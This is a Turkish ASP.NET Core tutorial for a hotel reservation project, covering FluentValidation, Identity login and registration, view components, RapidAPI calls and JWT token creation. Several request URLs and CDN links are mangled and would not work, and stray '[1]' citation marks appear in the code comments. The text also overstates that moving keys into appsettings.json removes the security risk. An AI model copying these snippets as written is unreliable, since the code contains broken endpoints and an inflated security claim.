CreateMap<UpdateRoomDto, Room>().ReverseMap();
}
}
API
Servis Kaydı (Program.cs):
// AutoMapper
profilini sisteme tanıtıyoruz
builder.Services.AddAutoMapper(typeof(AutoMapperConfig));
BÖLÜM 7: API Katmanında "Kapıda Güvenlik" (Fluent Validation)
Kötü
niyetli veya eksik verilerin daha Business katmanına dahi ulaşmadan API
kapısında reddedilmesi gerekir. Bunun için API projesine FluentValidation.DependencyInjectionExtensions paketi kurulur.
1.
Doğrulama Kurallarının Yazılması
Uygulama:
Room Validator Sınıfı
using FluentValidation;
using OtelProject.DtoLayer.RoomDto;
public class CreateRoomValidator : AbstractValidator<CreateRoomDto>
{
public CreateRoomValidator()
{
RuleFor(x => x.RoomNumber).NotEmpty().WithMessage("Oda numarası boş geçilemez.");
RuleFor(x => x.Title).NotEmpty().WithMessage("Oda başlığı boş bırakılamaz.");
RuleFor(x => x.Price).NotEmpty().WithMessage("Fiyat alanı zorunludur.");
RuleFor(x => x.Title).MaximumLength(50).WithMessage("Lütfen en fazla 50 karakter veri girişi yapınız.");
RuleFor(x => x.Description).MinimumLength(10).WithMessage("Lütfen oda açıklamasını en az 10 karakter olarak
yazınız.");
}
}
2.
API Controller Üzerinde ModelState ve Validation Kontrolü
Validator sınıfını yazdıktan sonra API kontrolörümüz içinde doğrulama
sonuçlarını denetliyoruz.
Uygulama:
Room2Controller Sınıfı (DTO, AutoMapper ve Validation Birleşimi)
using AutoMapper;
using FluentValidation;
using Microsoft.AspNetCore.Mvc;
using OtelProject.DtoLayer.RoomDto;
using OtelProject.Entity;
[Route("api/[controller]")]
[ApiController]
public class Room2Controller : ControllerBase
{
private readonly IRoomService _roomService;
private readonly IMapper _mapper;
private readonly IValidator<CreateRoomDto>
_validator;
public Room2Controller(IRoomService
roomService, IMapper mapper, IValidator<CreateRoomDto> validator)
{
_roomService
= roomService;
_mapper = mapper;
_validator = validator;
}
[HttpPost]
public IActionResult AddRoom(CreateRoomDto createRoomDto)
{
//
1. Doğrulama kurallarını çalıştır
var
validationResult = _validator.Validate(createRoomDto);
if (!validationResult.IsValid)
{
// Kurallara uymayan hataları ModelState'e
aktar ve HTTP 400 Bad Request
dön
foreach (var error in
validationResult.Errors)
{
ModelState.AddModelError(error.PropertyName, error.ErrorMessage);
}
return BadRequest(ModelState); //
Hatalar JSON olarak kapıda reddedilir.
}
//
2. Doğrulama başarılı ise DTO'yu Entity'e
eşle ve kaydet
var
room = _mapper.Map<Room>(createRoomDto);
_roomService.TInsert(room);
return Ok("Oda
başarıyla eklendi.");
}
}
BÖLÜM 8: Frontend MVC Katmanında
"Şık Doğrulama Mesajları"
API'mizi güvenceye aldık. Ancak kullanıcı arayüzünde (Frontend MVC) bir hata oluştuğunda, kullanıcının önüne kod
blokları veya ham JSON hataları atmak yerine, bootstrap
uyarı pencereleriyle şık mesajlar göstermeliyiz. Ön yüz projesine de FluentValidation.AspNetCore paketi eklenir.
1.
Frontend Validasyon Kuralları ve Servis Tanımlaması
Ön
yüz projesinin Program.cs dosyasına validasyon
servisini ekliyoruz:
using FluentValidation.AspNetCore;
builder.Services.AddControllersWithViews()
.AddFluentValidation(fv =>
fv.RegisterValidatorsFromAssemblyContaining<CreateRoomValidator>());
2.
Frontend Controller ve Şık Arayüz Tasarımı
Uygulama:
Form Kontrolü Sağlayan MVC Metodu
[HttpPost]
public async Task<IActionResult>
AddRoom(CreateRoomDto
model)
{
//
Eğer Frontend seviyesindeki Fluent
Validation kurallarına takılırsa, API'ye
hiç gitme
if (!ModelState.IsValid)
{
return View(model); // Hata mesajlarıyla birlikte formu kullanıcıya geri döner.
}
var
client = _httpClientFactory.CreateClient();
var
jsonData = JsonConvert.SerializeObject(model);
StringContent stringContent = new
StringContent(jsonData, Encoding.UTF8, "application/json");
var
responseMessage = await client.PostAsync("http://localhost:5000/api/Room2", stringContent);
if (responseMessage.IsSuccessStatusCode)
{
return RedirectToAction("Index");
}
else if (responseMessage.StatusCode
== System.Net.HttpStatusCode.BadRequest)
{
//
Eğer API katmanındaki ekstra bir kurala takıldıysa oradan gelen hataları da
yakala
var
errorContent = await responseMessage.Content.ReadAsStringAsync();
ModelState.AddModelError(string.Empty, "API
Doğrulama Hatası: "
+ errorContent);
}
return View(model);
}
Uygulama:
Şık Form Tasarımı (AddRoom.cshtml)
Kullanıcıya
form üzerinde hataları kırmızı renkte ve zarif bir şekilde göstermek için asp-validation-for etiketlerinden (Tag Helpers) yararlanıyoruz:
@model
OtelProject.DtoLayer.RoomDto.CreateRoomDto
<div class="container mt-5">
<div
class="card shadow-sm p-4">
<h3 class="text-primary mb-3">Yeni Oda Tanımlama Ekranı</h3>
<form method="post">
<div
class="mb-3">
<label class="form-label fw-bold">Oda Numarası</label>
<input type="text" asp-for="RoomNumber" class="form-control" placeholder="Örn: 302" />
<!--
Şık hata mesajı alanı -->
<span asp-validation-for="RoomNumber" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Oda Başlığı</label>
<input type="text" asp-for="Title" class="form-control" placeholder="Örn: Kral Dairesi Sea View" />
<span asp-validation-for="Title" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Gecelik Fiyatı ($)</label>
<input type="number" asp-for="Price" class="form-control" />
<span asp-validation-for="Price" class="text-danger small
fw-bold"></span>
</div>
<div
class="mb-3">
<label class="form-label fw-bold">Oda Açıklaması</label>
<textarea asp-for="Description" rows="4" class="form-control" placeholder="Oda özelliklerini belirtiniz..."></textarea>
<span asp-validation-for="Description" class="text-danger small
fw-bold"></span>
</div>
<button type="submit" class="btn btn-primary
px-4">Odayı
Yayına Al</button>
</form>
</div>
</div>
Müfredatımızın
bu aşamasında, projemizin kullanıcı yönetimi, kayıt, giriş ve üyelik sisteminin
temelini oluşturan Asp.Net Core Identity
kütüphanesini ele alıyoruz. İstediğiniz doğrultuda, şifre güvenlik
politikalarını kurumsal standartlara uygun olarak özelleştirecek ve kimlik
doğrulama süreçlerini en ince detayına kadar asenkron olarak kurgulayacağız.
Bu
bölümde Identity Paketlerinin Kurulumu, AppUser ve
AppRole Sınıflarının Özelleştirilmesi, Şifre
Politikalarının Yapılandırılması, Register ve Login
İşlemleri konularını detaylı kod uygulamalarıyla işliyoruz.
BÖLÜM 9: Asp.Net Core Identity
Altyapısının Kurulması
Identity
kütüphanesi; kullanıcı kayıt, giriş, şifre sıfırlama, rol tabanlı yetkilendirme
gibi kompleks güvenlik süreçlerini hazır metotlarla sunan güçlü bir yapıdır.
Projenin veri tabanı katmanına ve API katmanına Microsoft.AspNetCore.Identity.EntityFrameworkCore paketi kurulur.
1.
Identity Sınıflarının Genişletilmesi (Customization)
Identity
varsayılan olarak kullanıcılar için sadece Username, Email ve PhoneNumber gibi alanlar sunar. Biz projemize özel olarak kullanıcının
adını, soyadını ve yaşadığı şehri tutmak için AppUser sınıfını genişletiyoruz.
Uygulama:
AppUser ve AppRole
Sınıfları
using Microsoft.AspNetCore.Identity;
namespace OtelProject.Entity
{
//
IdentityUser sınıfından türeterek yeni özellikler
ekliyoruz
public class AppUser : IdentityUser<int> // Benzersiz ID türünü int yapıyoruz
{
public string Name { get; set; }
public string Surname { get;
set; }
public string City { get; set; }
public string ImageUrl { get;
set; }
}
//
Rol yönetimi için AppRole sınıfı
public class AppRole : IdentityRole<int>
{
}
}
2.
DbContext Sınıfının Güncellenmesi
Identity
yapısının veritabanında kendi tablolarını (AspNetUsers, AspNetRoles vb.) oluşturabilmesi için
veri tabanı bağlam sınıfımızın IdentityDbContext sınıfından türemesi gerekir.
Uygulama:
Context Sınıfı Düzenlemesi
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore;
using OtelProject.Entity;
public class Context : IdentityDbContext<AppUser, AppRole, int>
{
protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
optionsBuilder.UseSqlServer("Server=YOUR_SERVER_NAME;Database=OtelDb;Trusted_Connection=True;TrustServerCertificate=True;");
}
}
Bu
değişiklikten sonra Package Manager Console üzerinden
Add-Migration IdentityMig ve Update-Database komutları çalıştırılarak
kimlik tabloları SQL sunucusuna yansıtılır.
BÖLÜM 10: Şifre Politikalarının Özelleştirilmesi
Güvenlik
standartlarını artırmak veya esnetmek amacıyla projenin ayağa kalktığı Program.cs dosyası üzerinde Identity konfigürasyonunu
özelleştiriyoruz.
Uygulama:
Güvenlik Ayarlarının Yapılandırılması (Program.cs)
// Identity servis
tanımlaması ve şifre politikası özelleştirmeleri
builder.Services.AddIdentity<AppUser, AppRole>(options =>
{
//
Şifre Politikası Ayarları
options.Password.RequireDigit
= true;
// Şifre en az bir
rakam içermelidir
options.Password.RequiredLength
= 6; // Şifre en az 6 karakter olmalıdır
options.Password.RequireNonAlphanumeric
= true;//
En az bir özel karakter (?, *, ! vb.) içermelidir
options.Password.RequireUppercase
= true;
// En az bir büyük
harf içermelidir
options.Password.RequireLowercase
= true;
// En az bir küçük
harf içermelidir
//
Kullanıcı Kilitleme (Lockout) Ayarları
options.Lockout.DefaultLockoutTimeSpan
= TimeSpan.FromMinutes(5);
// 5 dakika kilitle
options.Lockout.MaxFailedAccessAttempts
= 5; // 5
hatalı denemede hesabı askıya al
//
Benzersiz e-posta kontrolü
options.User.RequireUniqueEmail
= true;
})
.AddEntityFrameworkStores<Context>();
// Veri tabanı deposu olarak Context'i işaret et
BÖLÜM 11: Register (Kayıt) ve
Login (Giriş) Süreçlerinin Kodlanması
Kimlik
doğrulama akışını Frontend (MVC) katmanında modeller
(DTO/ViewModel) aracılığıyla asenkron olarak
kurgulayalım.
1.
Kayıt ve Giriş Modellerinin Oluşturulması
Uygulama:
RegisterDto ve LoginViewModel
Sınıfları
namespace OtelProject.Frontend.Models.Identity
{
//
Kayıt ekranından gelecek veriler için
public class RegisterDto
{
public string Name { get; set; }
public string Surname { get;
set; }
public string Username { get;
set; }
public string Email { get;
set; }
public string City { get; set; }
public string Password { get;
set; }
public string ConfirmPassword { get; set; } // Şifre tekrar alanı
}
//
Giriş ekranından gelecek veriler için
public class LoginViewModel
{
public string Username { get;
set; }
public string Password { get;
set; }
}
}
2.
Register ve Login Controller Akışının Yazılması
Frontend MVC katmanında UserManager ve SignInManager sınıflarını enjekte ederek kullanıcı işlemlerini
yönetiyoruz.
Uygulama:
Register ve Login İşlemlerini Yöneten Controller
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc;
using OtelProject.Entity;
using OtelProject.Frontend.Models.Identity;
public class LoginController : Controller
{
private readonly UserManager<AppUser>
_userManager;
private readonly SignInManager<AppUser>
_signInManager;
public LoginController(UserManager<AppUser> userManager, SignInManager<AppUser> signInManager)
{
_userManager
= userManager;
_signInManager
= signInManager;
}
//
================= REGISTER (KAYIT) AKIŞI =================
[HttpGet]
public IActionResult Register()
{
return View();
}
[HttpPost]
public async Task<IActionResult>
Register(RegisterDto dto)
{
if (!ModelState.IsValid)
return View(dto);
//
Şifrelerin eşleşme kontrolü
if (dto.Password
!= dto.ConfirmPassword)
{
ModelState.AddModelError(string.Empty, "Şifreler
birbiriyle uyuşmuyor.");
return View(dto);
}
//
Formdan gelen verileri AppUser nesnesine aktarıyoruz
var
appUser = new
AppUser()
{
Name = dto.Name,
Surname =
dto.Surname,
Email = dto.Email,
UserName
= dto.Username,
City = dto.City,
ImageUrl
= "/images/default-user.jpg" //
Varsayılan profil resmi
};
//
Kullanıcıyı şifresi hash'lenerek asenkron şekilde veritabanına kaydeder
var
result = await _userManager.CreateAsync(appUser, dto.Password);
if (result.Succeeded)
{
// Kayıt başarılıysa giriş sayfasına yönlendir
return RedirectToAction("Index", "Login");
}
else
{
// Eğer şifre politikasına takıldıysa hataları ekranda göster
foreach (var item in
result.Errors)
{
ModelState.AddModelError(string.Empty, item.Description);
}
}
return View(dto);
}
//
================= LOGIN (GİRİŞ) AKIŞI =================
[HttpGet]
public IActionResult
Index()
{
return View();
}
[HttpPost]
public async Task<IActionResult>
Index(LoginViewModel model)
{
if (!ModelState.IsValid)
return View(model);
//
Asenkron giriş akışı kontrol edilir
//
3. parametre (isPersistent): Tarayıcı kapatılınca
beni hatırla ayarıdır (false yapıldı)
//
4. parametre (lockoutOnFailure): Hatalı giriş hakkı
dolsun mu? (true yapıldı)
var
result = await _signInManager.PasswordSignInAsync(model.Username, model.Password, false, true);
if (result.Succeeded)
{
// Giriş başarılıysa korumalı olan Admin Dashboard paneline
yönlendir
return RedirectToAction("Index", "Dashboard", new
{ area = "Admin" });
}
if (result.IsLockedOut)
{
ModelState.AddModelError(string.Empty, "Çok
fazla hatalı giriş yaptınız. Hesabınız 5 dakika kilitlendi.");
}
else
{
ModelState.AddModelError(string.Empty, "Kullanıcı
adı veya şifre hatalı.");
}
return View(model);
}
//
Güvenli Çıkış İşlemi
public async Task<IActionResult>
LogOut()
{
await _signInManager.SignOutAsync();
return RedirectToAction("Index", "Login");
}
}
Müfredatımızın
bu aşamasında, otel projemizin kullanıcıya bakan vitrin kısmını yani Frontend Tasarımını inşa ediyoruz.
İstediğiniz doğrultuda, öncelikle temiz ve modüler bir statik arayüz giydirmesi
kurgulayacak, hemen ardından bu modülleri View
Component yapısına dönüştürerek verileri API katmanından asenkron olarak
(dinamik) çekeceğiz.
Bu
bölümde Modüler Layout Mimarisi, View Component Yapısı, HttpClient
ile Bileşen Seviyesinde API Tüketimi ve Arayüzün Dinamikleştirilmesi
konularını ele alıyoruz.
BÖLÜM 12: Frontend Statik Arayüz
Giydirmesi ve Layout Tasarımı
Ön
yüz projesinde kod tekrarını önlemek ve tüm sayfaların ortak bir iskelete (Header, Footer, Navbar vb.) sahip olmasını sağlamak için Views/Shared/_Layout.cshtml dosyasını kurguluyoruz.
Uygulama:
Proje Ana İskeleti (_Layout.cshtml)
<!DOCTYPE
html>
<html lang="tr">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1.0" />
<title>Otel Rezervasyon Sistemi</title>
<!--
Bootstrap ve Stil Dosyaları -->
<link rel="stylesheet" href="https://jsdelivr.net" />
<link rel="stylesheet" href="https://cloudflare.com" />
</head>
<body>
<!--
Üst Menü / Navbar Bileşeni (Statik Giydirme) -->
<nav class="navbar navbar-expand-lg
navbar-dark bg-dark">
<div
class="container">
<a
class="navbar-brand" href="#"><i class="fa-solid fa-hotel me-2"></i>Otel
API</a>
<button class="navbar-expand" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">
<span class="navbar-toggler-icon"></span>
</button>
<div
class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-collapse navbar-nav ms-auto">
<li class="nav-item"><a
class="nav-link active" href="#">Ana Sayfa</a></li>
<li class="nav-item"><a
class="nav-link" href="#">Odalarımız</a></li>
<li class="nav-item"><a
class="nav-link" href="#">Hizmetler</a></li>
</ul>
</div>
</div>
</nav>
<!--
Değişken Sayfa İçerik Alanı -->
<main role="main" class="pb-3">
@RenderBody()
</main>
<!--
Alt Bilgi / Footer Bileşeni (Statik Giydirme) -->
<footer class="bg-dark text-white
text-center py-4 mt-5">
<div
class="container">
<p
class="mb-0">© 2026
Otel API Rezervasyon Sistemi. Tüm Hakları Saklıdır.</p>
</div>
</footer>
<!--
JavaScript Dosyaları -->
<script src="https://jsdelivr.net"></script>
@await RenderSectionAsync("Scripts", required: false)
</body>
</html>
BÖLÜM 13: View Component’ler
ile Modüler ve Dinamik Yapı
Ana
sayfamızı (Index) tek bir parça halinde yazmak yerine; Slider,
Hizmetlerimiz, Odalarımız gibi alanları kendi iş mantığına sahip olan View Component (Görünüm Bileşeni) parçalarına
ayıracağız. Bu bileşenler veriyi doğrudan API servislerimizden çekecektir.
1.
Hizmetler (Services) İçin DTO Tanımlanması
API
katmanından gelecek olan otel hizmet bilgilerini karşılamak üzere frontend projesinde modelimizi açıyoruz.
namespace OtelProject.Frontend.Models.Service
{
public class ResultServiceViewModel
{
public int
ServiceID { get;
set; }
public string ServiceIcon { get;
set; } //
Örn: fa-wifi, fa-spa
public string Title { get;
set; }
public string Description { get;
set; }
}
}
2.
View Component Sınıfının Kodlanması (API Tüketimi)
OtelProject.Frontend projesinde ViewComponents klasörü oluşturup, içine _ServicePartial adında bir sınıf yazıyoruz.
Bu sınıf ViewComponent temel sınıfından türemek
zorundadır.
Uygulama:
Backend Destekli Bileşen Sınıfı
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json;
using OtelProject.Frontend.Models.Service;
public class _ServicePartial : ViewComponent
{
private readonly IHttpClientFactory _httpClientFactory;
public _ServicePartial(IHttpClientFactory httpClientFactory)
{
_httpClientFactory
= httpClientFactory;
}
//
InvokeAsync metodu, bileşen sayfaya çağrıldığında
asenkron olarak tetiklenir
public async Task<IViewComponentResult>
InvokeAsync()
{
var
client = _httpClientFactory.CreateClient();
//
Kendi yazdığımız Hizmetler API'sine istek atıyoruz
var
responseMessage = await client.GetAsync("http://localhost:5000/api/Service");
if (responseMessage.IsSuccessStatusCode)
{
var
jsonData = await responseMessage.Content.ReadAsStringAsync();
var
values =
JsonConvert.DeserializeObject<List<ResultServiceViewModel>>(jsonData);
// Verileri dinamik olarak tasarlanan arayüze gönderiyoruz
return View(values);
}
return View(new List<ResultServiceViewModel>());
}
}
3.
View Component Arayüzünün (UI) Tasarlanması
Bileşenin
HTML kısmını yazarken klasör hiyerarşisine harfiyen uymalıyız. Views/Shared/Components/_ServicePartial/Default.cshtml yolunu oluşturup arayüzü
kodluyoruz.
Uygulama:
Dinamik Listeleme Tasarımı (Default.cshtml)
@model
List<OtelProject.Frontend.Models.Service.ResultServiceViewModel>
<div class="container my-5">
<div
class="text-center mb-5">
<h6 class="text-primary text-uppercase
fw-bold">Hizmetlerimiz</h6>
<h2 class="mb-4">Otelimizin Sunduğu Ayrıcalıkları Keşfedin</h2>
</div>
<div
class="row g-4">
@foreach (var item
in Model)
{
<div
class="col-lg-4
col-md-6">
<div
class="card h-100 border-0 shadow-sm p-4
text-center">
<div class="icon-box mb-3 text-primary fs-1">
<!-- API'den gelen dinamik font-awesome ikonu basılıyor -->
<i class="@item.ServiceIcon"></i>
</div>
<h5 class="fw-bold">@item.Title</h5>
<p class="text-muted small
mb-0">@item.Description</p>
</div>
</div>
}
</div>
</div>
4.
Bileşenlerin Ana Sayfaya Entegre Edilmesi
Şimdi,
kurguladığımız dinamik yapıyı ana sayfa arayüzünde (Views/Home/Index.cshtml) çağırarak sistemi
birleştirelim.
Uygulama:
Ana Sayfa Şablon Çağrımı
@{
ViewData["Title"] = "Ana
Sayfa";
Layout = "~/Views/Shared/_Layout.cshtml";
}
<!-- Statik Karşılama Alanı (Banner Giydirme) -->
<div class="bg-primary text-white
text-center py-5">
<div
class="container py-5">
<h1 class="display-4 fw-bold">Konforlu ve Huzurlu Bir Tatil
Deneyimi</h1>
<p
class="lead">Hemen rezervasyonunuzu yapın, eşsiz fırsatları kaçırmayın.</p>
<a
href="/Booking/Index" class="btn btn-warning
btn-lg px-4 mt-3">Hemen Rezervasyon Yap</a>
</div>
</div>
<!-- Dinamik API Bileşenleri Tetikleniyor -->
<!-- Sistem arka planda gidip Service API'sini
çağıracak ve dönen veriyi buraya basacaktır -->
@await
Component.InvokeAsync("_ServicePartial")
<!-- İlerleyen aşamalarda eklenecek olan diğer dinamik API bileşen
yer tutucuları -->
@*
@await Component.InvokeAsync("_RoomPartial") *@
@*
@await Component.InvokeAsync("_TestimonialPartial") *@
Müfredatımızın
en heyecan verici ve vizyoner bölümlerinden biri olan RapidAPI
Entegrasyonları ve Dış Dünya Servislerinin Tüketilmesi (Consume)
aşamasına geçiyoruz.
İstediğiniz
doğrultuda, entegrasyon sürecini önce mantığın net kavranması adına doğrudan
kod içinde (hardcoded) kurgulayacak, hemen
ardından kurumsal mimari standartlarına tam uyum sağlamak için bu hassas
verileri appsettings.json dosyasına taşıyıp IConfiguration arayüzü ile dinamik olarak okuyacağız. Böylece projemizi güvenlik
açıklarından tamamen arındıracağız.
Bu
bölümde RapidAPI Altyapısı, Doğrudan Kod
İçinde API Çağrısı, appsettings.json ile Güvenli Yapılandırma,
Döviz Kuru ve Konum ID Parametreli API Tüketimi konularını derinlemesine
işliyoruz.
BÖLÜM 14: RapidAPI Mantığı ve
Doğrudan Kod İçinde Tüketim (İlk Aşama)
RapidAPI, binlerce hazır API servisinin tek bir platform ve tek bir
üyelik üzerinden yönetilmesini sağlayan bir pazaryeridir. Dış servis
sağlayıcılar, istek atan uygulamalardan kimlik doğrulama amacıyla X-RapidAPI-Key
ve X-RapidAPI-Host başlık bilgilerini (Headers)
zorunlu tutar.
Öncelikle,
Booking.com üzerinden Şehir İsmine Göre Lokasyon ID Bulma (Search Location ID) servisini
doğrudan kod içine yazarak ayağa kaldıralım.
Uygulama:
Doğrudan Kod İçinde HttpClient İsteği
using Microsoft.AspNetCore.Mvc;
using System.Net.Http.Headers;
public class RapidApiController : Controller
{
//
YAKLAŞIM 1: Anahtarlar Doğrudan Kod İçinde (Hızlı Test ve Entegrasyon Aşaması)
public async Task<IActionResult>
GetLocationId(string cityName = "Paris")
{
var
client = new
HttpClient();
var
request = new
HttpRequestMessage
{
Method = HttpMethod.Get,
RequestUri
= new Uri($"https://rapidapi.com{cityName}&locale=en-gb"),
Headers =
{
{ "X-RapidAPI-Key", "SİZİN_GERÇEK_API_KEY_DEĞERİNİZ_BURAYA_GELECEK" },
{ "X-RapidAPI-Host", "://rapidapi.com" },
},
};
using (var response = await client.SendAsync(request))
{
response.EnsureSuccessStatusCode();
var
body = await response.Content.ReadAsStringAsync();
// Gelen ham JSON verisini arayüze (Viewbag
ile) fırlatıyoruz
ViewBag.RawJson
= body;
return View();
}
}
}
BÖLÜM 15: Kurumsal Güvenlik Standartlarına Geçiş (appsettings.json & IConfiguration)
Yukarıdaki
yöntem hızlıca test etmek için harikadır; fakat kodlarımızı GitHub
gibi açık kaynaklı platformlara yüklediğimiz anda gizli anahtarımız
çalınabilir. Bu yüzden kurumsal mimaride bu veriler appsettings.json içinde saklanır.
1.
Yapılandırma Dosyasının Hazırlanması
Ön
yüz projesinin kök dizinindeki appsettings.json dosyasına giderek RapidAPI bilgilerimizi güvenli alana yerleştiriyoruz.
Uygulama:
appsettings.json Ayarları
{
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft.AspNetCore": "Warning"
}
},
"AllowedHosts": "*",
"RapidApiConfig": {
"ApiKey": "99db887766bbaaddccddee1122334455ffgghhjjkk",
"BookingHost": "://rapidapi.com",
"CurrencyHost": "://rapidapi.com"
}
}
2.
Döviz Kurlarının Güvenli Alt Yapıyla Çekilmesi Entegrasyonu
Şimdi,
appsettings.json içindeki verileri IConfiguration arayüzü ile okuyan ve canlı döviz kurlarını çeken gelişmiş
mimariyi kurgulayalım.
Uygulama:
IConfiguration Kullanan Dinamik Controller
Sınıfı
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json;
public class RapidApiCurrencyController : Controller
{
private readonly IHttpClientFactory _httpClientFactory;
private readonly IConfiguration _configuration;
//
IConfiguration enjekte edilerek appsettings.json verilerine erişim hakkı kazanılır
public RapidApiCurrencyController(IHttpClientFactory httpClientFactory,
IConfiguration configuration)
{
_httpClientFactory
= httpClientFactory;
_configuration
= configuration;
}
public async Task<IActionResult>
Index()
{
//
1. appsettings.json
dosyasından ayarları dinamik olarak okuyoruz
string apiKey = _configuration["RapidApiConfig:ApiKey"];
string currencyHost =
_configuration["RapidApiConfig:CurrencyHost"];
var
client = _httpClientFactory.CreateClient();
//
Örnek Senaryo: USD - TRY paritesindeki canlı döviz
kuru bilgisini istiyoruz
var
request = new
HttpRequestMessage
{
Method = HttpMethod.Get,
RequestUri
= new Uri("https://rapidapi.com"),
Headers =
{
{ "X-RapidAPI-Key", apiKey },
{ "X-RapidAPI-Host", currencyHost },
},
};
using (var response = await client.SendAsync(request))
{
if (response.IsSuccessStatusCode)
{
var
body = await response.Content.ReadAsStringAsync();
// Gelen kur verisini (Örn:
"34.25") ViewModel veya Viewbag
ile sayfaya taşıyoruz
ViewBag.UsdToTry
= body;
}
else
{
ViewBag.UsdToTry
= "Veri Alınamadı";
}
}
return View();
}
}
3.
Parametreli API Tüketimi (Şehir ID'sine Göre Otel
Arama)
Müfredatta
geçen ve en karmaşık adımlardan biri olan Parametreli API consume yapısını kurgulayalım. Senaryomuz: Kullanıcı
arayüzden bir şehir adı girecek, sistem önce o şehrin Location ID değerini bulacak, ardından o ID ile ikinci bir API çağrısı
yaparak şehirdeki en iyi otelleri listeleyecektir.
Uygulama:
İlişkili/Parametreli RapidAPI Akışı
public async Task<IActionResult>
SearchHotels(string cityName)
{
if (string.IsNullOrEmpty(cityName)) cityName = "Paris"; //
Boş girilirse varsayılan Paris [1]
string apiKey = _configuration["RapidApiConfig:ApiKey"];
string bookingHost =
_configuration["RapidApiConfig:BookingHost"];
var
client = _httpClientFactory.CreateClient();
//
ADIM A: Şehrin ID'sini Buluyoruz (Search
Location ID API)
var
locationRequest = new
HttpRequestMessage
{
Method = HttpMethod.Get,
RequestUri = new Uri($"https://rapidapi.com{cityName}&locale=en-gb"),
Headers = { { "X-RapidAPI-Key", apiKey }, { "X-RapidAPI-Host", bookingHost }
}
};
string locationId = "-1456928"; // Hata
durumunda koruma amaçlı varsayılan Paris ID'si [1]
using (var response = await client.SendAsync(locationRequest))
{
if (response.IsSuccessStatusCode)
{
var
jsonString = await response.Content.ReadAsStringAsync();
// Gerçek projede json ayrıştırılarak
dinamik ID yakalanır [1]
// Örn: dynamic
data = JsonConvert.DeserializeObject(jsonString); locationId = data[0].dest_id;
}
}
//
ADIM B: Yakalanan ID Bilgisine Göre Otelleri Getiriyoruz (Parametreye Göre Otel
Getirme) [1]
var
hotelRequest = new
HttpRequestMessage
{
Method = HttpMethod.Get,
RequestUri = new Uri($"https://rapidapi.com{locationId}&order_by=popularity&locale=en-gb&checkout_date=2026-09-15&checkin_date=2026-09-10"),
Headers = { { "X-RapidAPI-Key", apiKey }, { "X-RapidAPI-Host", bookingHost }
}
};
using (var response = await client.SendAsync(hotelRequest))
{
if (response.IsSuccessStatusCode)
{
var
hotelJson = await response.Content.ReadAsStringAsync();
// Otel listesini karşılayan View
katmanına JSON'ı paslıyoruz
[1]
ViewBag.Hotels
= hotelJson;
}
}
return View();
}
Müfredatımızın
en kritik güvenlik katmanı olan JSON Web Token
(JWT) mimarisine geçiş yapıyoruz. İstediğiniz doğrultuda; token içeriğine hem temel kullanıcı bilgilerini hem de
gelişmiş rol tabanlı (Admin/User) parametreleri bir arada ekleyecek,
kurumsal standartlara uygun olarak token süresini
kısa tutup Refresh Token
felsefesini entegre edeceğiz.
Bu
bölümde JWT Anatomisi, Güvenlik Paketlerinin Kurulumu, Token
Üretici Sınıfın Tasarlanması, Rol Tabanlı Claim
Yönetimi, Clockskew Ayarı ve Refresh
Token Mantığı konularını ele alıyoruz.
BÖLÜM 16: JSON Web Token (JWT)
Altyapısının Kurulması
JWT;
taraflar arasında güvenli, şifrelenmiş ve doğrulanabilir veri transferi
sağlayan, üç parçadan (Header, Payload,
Signature) oluşan bir güvenlik standardıdır.
API
projemizi JWT ile korumak için Microsoft.AspNetCore.Authentication.JwtBearer NuGet
paketini kurmamız gerekir.
1.
appsettings.json Güvenlik
Ayarlarının Yapılandırılması
Token doğrulaması sırasında kullanılacak gizli anahtar (Secret Key), yayıncı (Issuer) ve alıcı (Audience) gibi
stratejik bilgileri yapılandırma dosyasına ekliyoruz.
{
"JwtConfig": {
"Secret": "BuCokGucluVeUzunBirAnahtarCumlesidir2026!",
"Issuer": "http://localhost:5000",
"Audience": "http://localhost:7000"
}
}
BÖLÜM 17: Gelişmiş Token Üretici
Sınıfın Kodlanması
İçerisinde
hem temel kullanıcı tanımlayıcılarını hem de Admin/User gibi rol tabanlı
yetki parametrelerini barındıran asenkron uyumlu token
oluşturma sınıfını tasarlayalım.
Uygulama:
Token Generator Sınıfı (TokenGenerator.cs)
using Microsoft.IdentityModel.Tokens;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;
public class TokenGenerator
{
private readonly IConfiguration _configuration;
public TokenGenerator(IConfiguration configuration)
{
_configuration
= configuration;
}
public string CreateToken(string userId, string username, List<string> roles)
{
//
1. Şifreleme Anahtarının UTF8 formatında simetrik güvenlik anahtarına
dönüştürülmesi
var
secretKey = new
SymmetricSecurityKey(Encoding.UTF8.GetBytes(_configuration["JwtConfig:Secret"]));
var
credentials = new
SigningCredentials(secretKey,
SecurityAlgorithms.HmacSha256); //
HS256 Doğrulaması
//
2. JWT İçeriğinin (Claims) Hazırlanması
- Temel Bilgiler + Gelişmiş Rol Parametreleri
var
claims = new
List<Claim>
{
new Claim(ClaimTypes.NameIdentifier, userId),
// Temel Kullanıcı ID
new Claim(ClaimTypes.Name, username), //
Temel Kullanıcı Adı
new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()) //
Benzersiz Token ID
};
//
Kullanıcının sahip olduğu tüm rolleri (Admin, User vb.) Claim
havuzuna ekiyoruz
foreach (var role in roles)
{
claims.Add(new
Claim(ClaimTypes.Role,
role));
}
//
3. Token Geçerlilik Süresi (Kurumsal Güvenlik Gereği
Kısa Tutulur: 15 Dakika)
var
tokenDescriptor = new
SecurityTokenDescriptor
{
Subject =
new ClaimsIdentity(claims),
Expires =
DateTime.UtcNow.AddMinutes(15),
// 15 dakika sonra token
ölecektir
Issuer =
_configuration["JwtConfig:Issuer"],
Audience
= _configuration["JwtConfig:Audience"],
SigningCredentials
= credentials
};
var
tokenHandler = new
JwtSecurityTokenHandler();
var
token = tokenHandler.CreateToken(tokenDescriptor);
return tokenHandler.WriteToken(token); //
Yayına hazır yaylı token stringi
